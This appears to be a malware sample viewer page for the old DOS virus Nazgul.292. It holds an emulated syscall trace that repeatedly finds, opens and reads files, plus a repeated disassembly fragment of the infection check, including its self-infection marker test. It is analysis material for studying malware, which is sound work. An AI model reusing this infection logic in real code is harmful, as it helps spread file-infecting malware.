Sample viewer

vx.netlux.org/Virus.DOS.Nazgul.292

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:47.537508721Z 250 PC: 12a82 | UNKNOWN!
2018-12-17T22:53:47.539021763Z 255 PC: 12ab2 | UNKNOWN!
2018-12-17T22:53:47.540899109Z 65 PC: 12abf | Delete file (Filename = '')
2018-12-17T22:53:47.54290653Z 78 PC: 12ae5 | Find first file
2018-12-17T22:53:47.54933219Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.558168158Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.560668545Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.57318747Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.576223353Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.57973517Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.588266745Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.591157526Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.599158655Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.601505413Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.604737074Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.613102618Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.615696209Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.623102562Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.626634276Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.629815271Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.637060381Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.640490243Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.647180249Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.648754216Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.652045799Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.657501267Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.659421674Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.664715157Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.666544213Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.668786495Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.674228638Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.676763238Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.681851627Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.683407129Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.686260629Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.691444496Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.693322914Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.698912945Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.700667401Z 79 PC: 12b57 | Find next file
2018-12-17T22:53:47.702860129Z 61 PC: 12aef | Open file (Filename = '')
2018-12-17T22:53:47.708638814Z 44 PC: 12af7 | Get time 0x12af7: xor dh, dh
0x12af9: rcr dl, 2
0x12afc: push dx
0x12afd: sub cx, cx
0x12aff: mov ah, 0x3f
0x12b01: mov cx, 0xffff
0x12b04: mov dx, 0x124
0x12b07: int 0x21
0x12b09: cmp ax, 0x3e9
0x12b0c: jb 0x12b4d
0x12b0e: cmp ax, 0xfa00
0x12b11: ja 0x12b4d
0x12b13: add ax, 0x124
0x12b16: pop cx
0x12b17: add ax, cx
0x12b19: mov word ptr cs:[0x115], ax
0x12b1d: cmp word ptr [0x126], 0x614e
0x12b23: je 0x12b4d
0x12b25: mov ax, 0x4200
0x12b28: sub cx, cx
2018-12-17T22:53:47.710559953Z 63 PC: 12b09 | Read file or device (Read 65535 bytes on handle 5)
2018-12-17T22:53:47.712727364Z 62 PC: 12b51 | Close file
2018-12-17T22:53:47.714978372Z 79 PC: 12b57 | Find next file